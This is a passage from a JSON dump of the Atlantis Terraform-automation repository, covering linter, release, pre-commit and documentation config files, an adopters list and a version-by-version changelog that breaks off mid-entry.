    "content": ".idea\n./atlantis\n*.iml\natlantis.db\noutput\n.DS_Store\n.cover\n.terraform/\nnode_modules/\nhelm/test-values.yaml\n*.swp\ngolangci-lint\natlantis\n.devcontainer\natlantis.env\n*.act\nDockerfile.local\n\n# gitreleaser\ndist/\ntmp-CHANGELOG.md\n\n.envrc\n\n# IDE files\n*.code-workspace\n\n# draw.io backup files\n*.bkp\n\n# VitePress build output & cache directory\n**/.vitepress/cache\n**/.vitepress/dist\n**/.vitepress/config.ts.timestamp-*\n\n# playwright\ntest-results/\n\n#Cursor dirs\n.cursor\n"
  },
  {
    "path": ".golangci.yml",
    "content": "version: \"2\"\nlinters:\n  enable:\n    - modernize\n    - gochecknoinits\n    - gosec\n    - misspell\n    - revive\n    - testifylint\n    - unconvert\n  settings:\n    misspell:\n      ignore-rules:\n        - noteable\n    revive:\n      rules:\n        - name: dot-imports\n          disabled: true\n  exclusions:\n    generated: lax\n    presets:\n      - comments\n      - common-false-positives\n      - legacy\n      - std-error-handling\n    paths:\n      - third_party$\n      - builtin$\n      - examples$\nformatters:\n  enable:\n    - gofmt\n  exclusions:\n    generated: lax\n    paths:\n      - third_party$\n      - builtin$\n      - examples$\n"
  },
  {
    "path": ".goreleaser.yml",
    "content": "version: 2\n\nenv:\n  - CGO_ENABLED=0\n\nbuilds:\n  - id: atlantis\n\n    targets:\n      - darwin_amd64\n      - darwin_arm64\n      - linux_386\n      - linux_amd64\n      - linux_arm\n      - linux_arm64\n      - windows_386\n      - windows_amd64\n\n    flags:\n      - -trimpath\n\n    ldflags:\n      - -s -w\n      - -X main.version={{.Version}} -X main.commit={{.Commit}} -X main.date={{.Date}}\n\narchives:\n  - id: zip\n    name_template: \"{{ .ProjectName }}_{{ .Os }}_{{ .Arch }}\"\n    formats:\n      - zip\n    files:\n      - none*\n\nchecksum:\n  name_template: \"checksums.txt\"\n\nchangelog:\n  disable: true\n\nrelease:\n  # If set to true, will not auto-publish the release.\n  # Default is false.\n  draft: false\n\n  # If set, will create a release discussion in the category specified.\n  #\n  # Warning: do not use categories in the 'Announcement' format.\n  #  Check https://github.com/goreleaser/goreleaser/issues/2304 for more info.\n  #\n  # Default is empty.\n  discussion_category_name: General\n\n  # If set to auto, will mark the release as not ready for production\n  # in case there is an indicator for this in the tag e.g. v1.0.0-rc1\n  # If set to true, will mark the release as not ready for production.\n  # Default is false.\n  prerelease: auto\n\n# TODO: This requires a gpg_private_key\n#       https://github.com/marketplace/actions/goreleaser-action#signing\n# signs:\n#   # https://goreleaser.com/customization/sign/\n#   -\n#     artifacts: all\n\nsnapshot:\n  name_template: \"{{ incpatch .Version }}-next\"\n"
  },
  {
    "path": ".lycheeignore",
    "content": "# Ignore file for the https://github.com/lycheeverse/lychee/ website link checker\n\n# These sites have bot protection which causes a 403 Network error: Forbidden when checking\nhttps://www.freepik.com/\nhttps://www.flaticon.com/\nhttps://medium.com/\n"
  },
  {
    "path": ".markdownlint.yaml",
    "content": "# MD013/line-length\n#\n# We're not particular about line length, generally preferring longer\n# lines, since tools like Grammarly and other writing assistance tools\n# work best with \"normal\" lines not broken up arbitrary.\n#\n# https://github.com/DavidAnson/markdownlint/blob/main/doc/md013.md\nMD013: false\n\n# MD033/no-inline-html\n#\n# We're fine with inline HTML, there are lots of valid VitePress features\n# that depends on this.\n#\n# https://github.com/DavidAnson/markdownlint/blob/main/doc/md033.md\nMD033: false\n\n# MD024/no-duplicate-heading\n#\n# VitePress do not follow GitHub heading styling, so duplicate headlines\n# are fine as long as they are not siblings (aka same indention hierarchy)\n#\n# https://github.com/DavidAnson/markdownlint/blob/main/doc/md024.md\nMD024:\n  siblings_only: true\n\n# MD051/link-fragments\n#\n# VitePress generate these differently that markdownlint expects, so disabling\n# for now, and something to improve on later (cc @jippi)\n#\n# https://github.com/DavidAnson/markdownlint/blob/main/doc/md051.md\nMD051: false\n\n# for blog posts\nMD025: false\nMD045: false\nMD001: false\n"
  },
  {
    "path": ".node-version",
    "content": "24.13.1\n"
  },
  {
    "path": ".pre-commit-config.yaml",
    "content": "repos:\n- repo: https://github.com/gitleaks/gitleaks\n  rev: v8.16.3\n  hooks:\n  - id: gitleaks\n- repo: https://github.com/golangci/golangci-lint\n  rev: v1.52.2\n  hooks:\n  - id: golangci-lint\n- repo: https://github.com/jumanjihouse/pre-commit-hooks\n  rev: 3.0.0\n  hooks:\n  - id: shellcheck\n- repo: https://github.com/pre-commit/mirrors-eslint\n  rev: v8.38.0\n  hooks:\n  - id: eslint\n- repo: https://github.com/pre-commit/pre-commit-hooks\n  rev: v4.4.0\n  hooks:\n  - id: end-of-file-fixer\n  - id: trailing-whitespace\n"
  },
  {
    "path": ".tool-versions",
    "content": "node 22.14.0\ngo 1.25.1\n"
  },
  {
    "path": ".vale.ini",
    "content": "StylesPath = .github/styles\nMinAlertLevel = error\n\n# api-endpoints.md intentionally uses the API string literals \"Github\" and\n# \"Gitlab\" (which match the Go source code constants). When running Vale\n# locally, exclude it with: vale --glob='!*api-endpoints.md' runatlantis.io/docs/\n[*.md]\nBasedOnStyles = Atlantis\n"
  },
  {
    "path": ".vscode/settings.json",
    "content": "{\n    \"git.alwaysSignOff\": true\n}\n"
  },
  {
    "path": "ADOPTERS.md",
    "content": "# Who uses Atlantis?\nAs the Atlantis Community grows, we'd like to keep track of our users and adopters. Please send a PR with your organization name if you are using Atlantis.\n\n## Updating this list\n\n1. Open a PR to directly update this list, or edit this file directly in GitHub\n\n## Atlantis Adopters\n\nThis list is sorted in the order that organizations were added to it.\n\n| Organization | Contact | Description of Use |\n| ------------ | ------- | ------------------ |\n] [Lambda](https://lambda.ai) | @genpage | Currently used for orchestrating self-service infrastructure for Lambda's Internal Platform |  \n"
  },
  {
    "path": "CHANGELOG.md",
    "content": "**NOTE:** We do not plan to update this page anymore. Please see [the releases page for the updated changelog](https://github.com/runatlantis/atlantis/releases).\n\n---\n\n# v0.23.3\n\nBugfixes and new Features\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.23.3\n\n# v0.23.2\n\nBugfixes and new Features\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.23.2\n\n# v0.23.1\n\nBugfixes and new Features\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.23.1\n\n# v0.23.0\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.23.0\n\n# v0.22.3\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.22.3\n\n# v0.22.2\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.22.2\n\n# v0.22.1\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.22.1\n\n# v0.22.0\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.22.0\n\n# v0.21.0\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.21.0\n\n## Breaking changes\n* Terraform version 1.x have been removed to deprecate beta versions of terraform and reduce the docker image size. Each version of terraform is about 80 MB. ([#2619](https://github.com/runatlantis/atlantis/pull/2619))\n\n# v0.20.1\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.20.1\n\n# v0.20.0\n\nBroken build due to github action issues\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.20.0\n\n# v0.19.8\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.19.8\n\n# v0.19.7\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.19.7\n\n# v0.19.6\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.19.6\n\n\n# v0.19.5\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.19.5\n\n## Backwards Incompatibilities / Notes:\n* `--var-file-allowlist` flag has been added to restrict the access of files on Atlantis install from pull request\n  comments. Set the flag if you want to explicitly grant the access to files outside the default data directory.\n  \n  Previously, any file could be passed to `-var-file`. Now only files under the directories in the allowlist are permitted.\n\n# v0.19.4\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.19.4\n\n# v0.19.3\n\nBugfixes and new Features\n\n## What's Changed\n\nhttps://github.com/runatlantis/atlantis/releases/tag/v0.19.3\n\n# v0.19.2\n\nBug fix release for github and update docs to reflect the docker registry support change.\n\n## What's Changed\n\n* fix: fix unmarshall error in graphql call by @raymondchen625 in https://github.com/runatlantis/atlantis/pull/2128\n* docs: update docker registry link to ghcr by @marceloboeira in https://github.com/runatlantis/atlantis/pull/2130\n\n# v0.19.1\n\nBug fix release, most importantly fixing the wrong version number associated with v0.19.0.\n\nAnd it also contains fixes for `bitbucketcloud` and `gitlab`.\n\n## What's Changed\n\n* build(deps): bump actions/checkout from 2 to 3 by @dependabot in https://github.com/runatlantis/atlantis/pull/2119\n* build(deps): bump github.com/xanzy/go-gitlab from 0.55.1 to 0.58.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2118\n* fix(bitbucketcloud): Ensure status key has at most 40 characters by @maxbrunet in https://github.com/runatlantis/atlantis/pull/2037\n* fix(gitlab-client): change `pending` to `running` state by @syphernl in https://github.com/runatlantis/atlantis/pull/1971\n* fix(bitbucketcloud)!: Use AccountID as username instead of Nickname by @maxbrunet in https://github.com/runatlantis/atlantis/pull/2034\n\n# v0.19.0\n\nFeature release for:\n- multi-arch docker images\n- add `pending` status for apply\n\n## What's Changed\n\n* docs: moving streaming logs section from top-level navigation to docs by @Aayyush in https://github.com/runatlantis/atlantis/pull/2066\n* fix(docker): Multi-arch Docker images, attempt two by @Tenzer in https://github.com/runatlantis/atlantis/pull/2114\n* feat: add a pending status for apply when running plan command by @AndreZiviani in https://github.com/runatlantis/atlantis/pull/2053\n\n# v0.18.5\n\nMaintenance release:\n- Drop Dockerhub support (#2103)\n- fixing the most recent multiplatform image build issue. (#2104)\n\n## What's Changed\n\n* ci: drop circleci docker hub update by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2102\n* fix(docker): fix docker runtime issue by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2106\n* deps: tf 1.1.7 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2108\n\n# v0.18.4\n\nMaintenance release for security patches with atlantis-base image\n\n## What's Changed\n\n* fix(web-templates): use CleanedBasePath for titles by @jvrplmlmn in https://github.com/runatlantis/atlantis/pull/2091\n* build(deps): bump runatlantis/atlantis-base from 2021.12.15 to 2022.03.02\n* docker: bump git-lfs and gosu dependencies by @hi-artem in https://github.com/runatlantis/atlantis/pull/2096\n* fix(docker): fix base image for multi-platform build by @Tenzer in https://github.com/runatlantis/atlantis/pull/2099\n* fix(docker): fix installation of git-lfs in armv7 image by @Tenzer in https://github.com/runatlantis/atlantis/pull/2100\n* fix(docker): download Terraform and conftest versions matching image architecture by @Tenzer in https://github.com/runatlantis/atlantis/pull/2101\n\n# v0.18.3\n\n## What's Changed\n\n* Fix URL generation by @PertsevRoman in https://github.com/runatlantis/atlantis/pull/2021\n* deps: terraform 1.1.5 by @lazzurs in https://github.com/runatlantis/atlantis/pull/2042\n* docs: update devops PR link by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2033\n* Moving config files to core/config by @msarvar in https://github.com/runatlantis/atlantis/pull/2036\n* docs: fix policy example with custom workflow by @aliscott in https://github.com/runatlantis/atlantis/pull/2049\n* docs: fix some typos by @ocaisa in https://github.com/runatlantis/atlantis/pull/2048\n* fix: get user teams with GitHub GraphQL API by @raymondchen625 in https://github.com/runatlantis/atlantis/pull/2045\n* build(deps): bump github.com/xanzy/go-gitlab from 0.54.3 to 0.54.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/2050\n* docs: add user facing documentation for real-time logs by @Aayyush in https://github.com/runatlantis/atlantis/pull/1963\n* feat: Use UUIDs to identify log streaming jobs by @Aayyush in https://github.com/runatlantis/atlantis/pull/2051\n* build(deps): bump ajv from 6.5.1 to 6.12.6 by @dependabot in https://github.com/runatlantis/atlantis/pull/2060\n* build(deps): bump github.com/xanzy/go-gitlab from 0.54.4 to 0.55.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/2061\n* build(deps): bump github.com/golang-jwt/jwt/v4 from 4.2.0 to 4.3.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2062\n* build(deps): bump github.com/microcosm-cc/bluemonday from 1.0.17 to 1.0.18 by @dependabot in https://github.com/runatlantis/atlantis/pull/2063\n* build(deps): bump go.uber.org/zap from 1.20.0 to 1.21.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2064\n* deps: tf 1.1.6 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2071\n* Removing web credentials from debug log by @pkaramol in https://github.com/runatlantis/atlantis/pull/2072\n* build(deps): bump github.com/gorilla/websocket from 1.4.2 to 1.5.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2077\n* build(deps): bump prismjs from 1.25.0 to 1.27.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/2086\n* fix(web-templates): use CleanedBasePath for static content by @jvrplmlmn in https://github.com/runatlantis/atlantis/pull/2079\n\n# v0.18.2\n\n## What's Changed\n\n* deps: terraform 1.1.3 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1982\n* deps: conftest 0.30.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1983\n* build(deps): bump github.com/xanzy/go-gitlab from 0.52.2 to 0.54.3 by @dependabot in https://github.com/runatlantis/atlantis/pull/1986\n* build(deps): bump github.com/hashicorp/go-version from 1.3.0 to 1.4.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1987\n* build(deps): bump go.uber.org/zap from 1.19.1 to 1.20.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1988\n* docs: document `undiverged` apply requirement in more places by @fishpen0 in https://github.com/runatlantis/atlantis/pull/1992\n* fix: fix autoplan when .terraform.lock.hcl is modified by @gezb in https://github.com/runatlantis/atlantis/pull/1991\n* feat: add XTerm JS to the server static files by @Ka1wa in https://github.com/runatlantis/atlantis/pull/1985\n* feat: post workflow hooks by @tim775 in https://github.com/runatlantis/atlantis/pull/1990\n* docs: add colon to policy checking yaml by @williamlord-wise in https://github.com/runatlantis/atlantis/pull/1996\n* docs: include infracost ref in post-workflow-hooks by @ilamtap in https://github.com/runatlantis/atlantis/pull/1997\n* fix(docs): update screenshot for Bitbucket server webhook configuration by @kuzm1ch in https://github.com/runatlantis/atlantis/pull/1995\n* fix: make IsOwner policy check case-insensitive by @edbighead in https://github.com/runatlantis/atlantis/pull/1989\n* build(deps): bump github.com/bradleyfalzon/ghinstallation/v2 from 2.0.3 to 2.0.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/2004\n* build(deps): bump github.com/hashicorp/go-getter from 1.5.10 to 1.5.11 by @dependabot in https://github.com/runatlantis/atlantis/pull/2003\n* docs: fix incorrect wildcard and more precise instruction to --gh-team-allowlist option. by @keitap in https://github.com/runatlantis/atlantis/pull/2005\n* fix: support for terraform workspaces by @bschaeffer in https://github.com/runatlantis/atlantis/pull/2006\n* deps: terraform 1.1.4 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/2011\n* fix: add back basic auth support by @Aayyush in https://github.com/runatlantis/atlantis/pull/2008\n* chore: improve `/healthz` endpoint performance by @inkel in https://github.com/runatlantis/atlantis/pull/2014\n* fix: Update GenerateProjectJobURL to account for nested repo names by @Aayyush in https://github.com/runatlantis/atlantis/pull/2012\n* fix: broken Log Streaming URL when working directory is set to \"./\"  by @Aayyush in https://github.com/runatlantis/atlantis/pull/2015\n* fix: retry /files/ requests to github by @iainlane in https://github.com/runatlantis/atlantis/pull/2002\n\n# v0.18.1\n\nMaintenance release for bug fixes as well as release multi-platform builds for atlantis docker images.\n\n## What's Changed\n\n* Revert \"feat: filter out atlantis/apply from mergeability clause (#18… by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1968\n* build(deps): bump github.com/microcosm-cc/bluemonday from 1.0.16 to 1.0.17 by @dependabot in https://github.com/runatlantis/atlantis/pull/1969\n* fix:include no GitHub allowlist rules by default by @paulerickson in https://github.com/runatlantis/atlantis/pull/1973\n* fix: default permissions for gh-team-allowlist. by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1974\n* docs: documentation for slack integration by @syphernl in https://github.com/runatlantis/atlantis/pull/1972\n* workflows(atlantis-image): fix building and publishing of Docker images by @Tenzer in https://github.com/runatlantis/atlantis/pull/1975\n* fix: allowed regexp prefixes for exact matches by @bmbferreira in https://github.com/runatlantis/atlantis/pull/1962\n* deps: conftest 0.29.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1977\n\n# v0.18.0\n\nFeature release of adding capability of streaming terraform logs, also added the capability of supporting tf 1.0.x (which was missed in the v0.17.6 release).\n\n## What's Changed\n\n* deps: terraform 1.1.2 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1952\n* build(deps): bump github.com/spf13/viper from 1.10.0 to 1.10.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1956\n* Dockerfile: Add support for last Terraform 1.0.x version in AVAILABLE_TERRAFORM_VERSIONS by @javierbeaumont in https://github.com/runatlantis/atlantis/pull/1957\n* feat: add GitHub team allowlist configuration option by @paulerickson in https://github.com/runatlantis/atlantis/pull/1694\n* fix: fallback to default TF version in apply step by @sapslaj in https://github.com/runatlantis/atlantis/pull/1931\n* docs: typo in heading level by @moretea in https://github.com/runatlantis/atlantis/pull/1960\n* docs: clarify example for `--azuredevops-token` flag by @MarkIannucci in https://github.com/runatlantis/atlantis/pull/1712\n* docs: update github docs links by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1964\n* build(deps): bump github.com/hashicorp/go-getter from 1.5.9 to 1.5.10 by @dependabot in https://github.com/runatlantis/atlantis/pull/1961\n* feat: streaming terraform logs in real-time by @Aayyush in https://github.com/runatlantis/atlantis/pull/1937\n\n# v0.17.6\n\n## What's Changed\n\n* docs: clarify maximum version limit by @tomharrisonjr in https://github.com/runatlantis/atlantis/pull/1894\n* fix: allow requests to /healthz without authentication by @wendtek in https://github.com/runatlantis/atlantis/pull/1896\n* docs: document approve_policies command in comment_parser by @dupuy26 in https://github.com/runatlantis/atlantis/pull/1886\n* feat: adds `allowed_regexp_prefixes` parameter to use with the `--enable-regexp-cmd` flag by @bmbferreira in https://github.com/runatlantis/atlantis/pull/1884\n* refactor: Add PullStatusFetcher interface by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1904\n* build(deps): bump github.com/urfave/negroni from 0.3.0 to 1.0.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1922\n* build(deps): bump github.com/xanzy/go-gitlab from 0.51.1 to 0.52.2 by @dependabot in https://github.com/runatlantis/atlantis/pull/1921\n* build(deps): bump github.com/golang-jwt/jwt/v4 from 4.1.0 to 4.2.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1928\n* docs: add clarity and further policy_check examples by @DaveHewy in https://github.com/runatlantis/atlantis/pull/1925\n* build(deps): bump github.com/spf13/viper from 1.9.0 to 1.10.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1934\n* deps: terraform 1.1.1 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1939\n* deps: alpine 3.15 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1941\n* docs: fix policy check documentation examples by @DaveHewy in https://github.com/runatlantis/atlantis/pull/1945\n* docker: make multi-platform atlantis image by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1943\n\n# v0.17.5\n\n## What's Changed\n\n* refactor: move from io/ioutil to io and os package by @Juneezee in https://github.com/runatlantis/atlantis/pull/1843\n* chore: use golang-jwt/jwt to replace dgrijalva/jwt-go by @barn in https://github.com/runatlantis/atlantis/pull/1845\n* fix(azure): allow host to be specified in user_config for on premise installation by @dandcg in https://github.com/runatlantis/atlantis/pull/1860\n* feat: filter out atlantis/apply from mergeability clause by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1856\n* feat: add BasicAuth Support to Atlantis ServeHTTP by @fblgit in https://github.com/runatlantis/atlantis/pull/1777\n* fix(azure): allow correct path to be derived for on premise installation  by @dandcg in https://github.com/runatlantis/atlantis/pull/1863\n* feat: add new bitbucket server webhook event type pr:from_ref_updated(#198) by @kuzm1ch in https://github.com/runatlantis/atlantis/pull/1866\n* Move runtime common under existing runtime package. by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1875\n* feat: use goreleaser to replace the binary-release script by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1873\n\n# v0.17.4\n\n## What's Changed\n\n* build(deps): bump tar from 4.4.15 to 4.4.19 by @dependabot in https://github.com/runatlantis/atlantis/pull/1783\n* build: tf 1.0.6 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1786\n* Bump testing image conftest version to 0.27 by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1787\n* Actually bump testing image conftest version to 0.27 by @nishkrishnan in https://github.com/runatlantis/atlantis/pull/1788\n* build: fix testing-env img process by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1789\n* e2e: update dockerfile by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1790\n* build(deps): bump runatlantis/atlantis-base from 2021.06.22 to 2021.08.31 by @dependabot in https://github.com/runatlantis/atlantis/pull/1794\n* build(deps): bump github.com/xanzy/go-gitlab from 0.50.3 to 0.50.4 by @dependabot in https://github.com/runatlantis/atlantis/pull/1795\n* fix a log error typo by @danpilch in https://github.com/runatlantis/atlantis/pull/1796\n* Set ParallelPolicyCheckEnabled to the same value as ParallelPlanEnabled by @msarvar in https://github.com/runatlantis/atlantis/pull/1802\n* docs: Add missing --silence-vcs-status-no-plans flag by @franklad in https://github.com/runatlantis/atlantis/pull/1803\n* build(lint): use revive instead of golint by @minamijoyo in https://github.com/runatlantis/atlantis/pull/1801\n* build(deps): bump github.com/hashicorp/go-getter from 1.5.7 to 1.5.8 by @dependabot in https://github.com/runatlantis/atlantis/pull/1807\n* build(deps): bump go.uber.org/zap from 1.19.0 to 1.19.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1808\n* docs: add missing the `branch` key in the reference for server side repo config by @minamijoyo in https://github.com/runatlantis/atlantis/pull/1784\n* build: tf 1.0.7 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1811\n* deps: conftest 0.28.0 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1819\n* deps: conftest 0.28.1 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1826\n* build(deps): bump prismjs from 1.24.0 to 1.25.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1823\n* Updating client interface and adding ApprovalStatus model by @Aayyush in https://github.com/runatlantis/atlantis/pull/1827\n* Fix title level by @xiao-pp in https://github.com/runatlantis/atlantis/pull/1822\n* build(deps): bump github.com/xanzy/go-gitlab from 0.50.4 to 0.51.1 by @dependabot in https://github.com/runatlantis/atlantis/pull/1831\n* Add support for deleting a branch on merge in BitBucket Server by @wpbeckwith in https://github.com/runatlantis/atlantis/pull/1792\n* deps: tf 1.0.8 by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1837\n* build(deps): bump github.com/spf13/viper from 1.8.1 to 1.9.0 by @dependabot in https://github.com/runatlantis/atlantis/pull/1821\n* Document --auto-merge-disabled option by @dupuy26 in https://github.com/runatlantis/atlantis/pull/1838\n* testdrive: update terraformVersion by @chenrui333 in https://github.com/runatlantis/atlantis/pull/1839\n* Improve github pull request call retries by @aristocrates in https://github.com/runatlantis/atlantis/pull/1810\n\n# v0.17.3\nFeature release with a number of improvements related to Gitlab support, a new command, better formatting etc. Some broken features have been fixed in along with some regressions.\n\n## Features/Improvements\n* Add version command to Atlantis for getting the current terraform version ([#1691](https://github.com/runatlantis/atlantis/pull/1691) by @pjsier)\n* Support \"Pipelines must succeed\", \"All discussions must be resolved\" in Gitlab `apply_requirements` ([#1675](https://github.com/runatlantis/atlantis/pull/1675) by @devlucasc)\n* Add support for specifying github app key as a string ([#1706](https://github.com/runatlantis/atlantis/pull/1706) by @dhaven)\n* Add flag to enable rich github markdown formatting of terraform outputs ([#1751](https://github.com/runatlantis/atlantis/pull/1751) by @enochlo)\n  * Note: Depending on feedback here, we will consider just enabling this by default in a future release.\n* Add support for splitting large comments into batches for Gitlab ([#1755](https://github.com/runatlantis/atlantis/pull/1755) by @krrrr38)\n\n## Bug Fixes\n* Fix remote ops detection for tf >= 1.0.0 ([#1687](https://github.com/runatlantis/atlantis/pull/1687) by @taavitani)\n* Fix Gitlab auto-merge race condition [#1609](https://github.com/runatlantis/atlantis/issues/1609) ([#1675](https://github.com/runatlantis/atlantis/pull/1675) by @devlucasc)\n* Fix an issue where `--parallel-pool-size` was being ignored ([#1705](https://github.com/runatlantis/atlantis/pull/1705) by @Schtolc)\n* Fix an issue where applies can occur on draft merge requests in Gitlab ([#1736](https://github.com/runatlantis/atlantis/pull/1736) by @devlucasc)\n* Fix regression where .terraform.lock.hcl would prevent future operations from upgrading providers even with the `-upgrade` present ([#1701](https://github.com/runatlantis/atlantis/pull/1701) by @gezb)\n* Fix issue with branch regex matcher which would always allow all branches ([#1768](https://github.com/runatlantis/atlantis/pull/1768) by @minamijoyo)\n\n## Dependencies\n* Upgrade default tf version to 1.0.5 ([#1662](https://github.com/runatlantis/atlantis/pull/1765) by @chenrui333)\n* Upgrade go version to 0.17 ([#1766](https://github.com/runatlantis/atlantis/pull/1766) by @chenrui1333)\n* Upgrade alpine to v3.14, addressing  CVE-2021-36159, CVE-2021-22924, CVE-2021-22923 and CVE-2021-22925 vulnerabilities ([#1770](https://github.com/runatlantis/atlantis/pull/1770) by @chenrui1333)\n\n## Backwards Incompatibilities/Notes\n* If you are using GHCR and are using the `atlantis:latest` docker image, this now points to the latest release as opposed to the tip of master.  If you want to work off the tip of master, then you should now use `atlantis:dev`\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.3/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.17.3`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Github Container Registry\n[`ghcr.io/runatlantis/atlantis:v0.17.3`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis)\n\n## Diff v0.17.2..v0.17.3\nhttps://github.com/runatlantis/atlantis/compare/v0.17.2...v0.17.3\n\n# v0.17.2\nPatch release containing bug fixes.\n\n## Bug Fixes\n* Fix a regression introduced where approving failing policies would create a secondary status in pending without ever being marked as successful ([#1672](https://github.com/runatlantis/atlantis/pull/1672) by @nishkrishnan)\n* Fix a bug where pre-workflow hooks cannot find atlantis.yaml when run on non-default workspaces. ([#1620](https://github.com/runatlantis/atlantis/pull/1620) by @giuli007)\n\n## Dependencies\n* Upgrade default tf version to 1.0.1 ([#1662](https://github.com/runatlantis/atlantis/pull/1662) by @chenrui333)\n\n## Backwards Incompatibilities/Notes\n* If you're using the Atlantis Docker image and aren't setting the `--default-tf-version` flag\n  then the default version of Terraform will now be 1.0.1. Simply set the above\n  flag to your desired default version to avoid any issues.\n\n## Downloads\n* [atlantis_darwin_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_darwin_amd64.zip)\n* [atlantis_linux_386.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_386.zip)\n* [atlantis_linux_amd64.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_amd64.zip)\n* [atlantis_linux_arm.zip](https://github.com/runatlantis/atlantis/releases/download/v0.17.2/atlantis_linux_arm.zip)\n\n## Docker\n[`runatlantis/atlantis:v0.17.2`](https://hub.docker.com/r/runatlantis/atlantis/tags/)\n\n## Github Container Registry\n[`ghcr.io/runatlantis/atlantis:v0.17.2`](https://github.com/runatlantis/atlantis/pkgs/container/atlantis)\n\n## Diff v0.17.1..v0.17.2\nhttps://github.com/runatlantis/atlantis/compare/v0.17.1...v0.17.2\n\n# v0.17.1\nFeature release containing a number of bug fixes.\n\nNote: as of this release we are now also publishing releases to [Github Container Registry](https://github.com/runatlantis/atlantis/pkgs/container/atlantis/). We will stop publishing releases to [Dockerhub](https://hub.docker.com/r/runatlantis/atlantis/) in a subsequent major version release, please migrate any workflows to start using Github Container Registry in the meantime.\n\n## Features/Improvements\n* Add extra args support for policy checking command ([#1511](https://github.com/runatlantis/atlantis/pull/1511) by @nishkrishnan)\n* Add undiverged apply requirement ([#1587](https://github.com/runatlantis/atlantis/pull/1587) by @pcalley)\n* Modify logging timestamp to be ISO8601 ([#1625](https://github.com/runatlantis/atlantis/pull/1625) by @tkishore1192)\n* Add run step environment variable SHOWFILE ([#1611](https://github.com/runatlantis/atlantis/pull/1611) by @mhennecke)\n* Add flag to disable automerge for `atlantis apply` ([#1533](https://github.com/runatlantis/atlantis/pull/1533) by @spirosoik)\n* Add support for deduping extra terraform args ([#1651](https://github.com/runatlantis/atlantis/pull/1651) by @gezb)\n* Preserving terraform.lock.hcl when present by not upgrading during terraform init 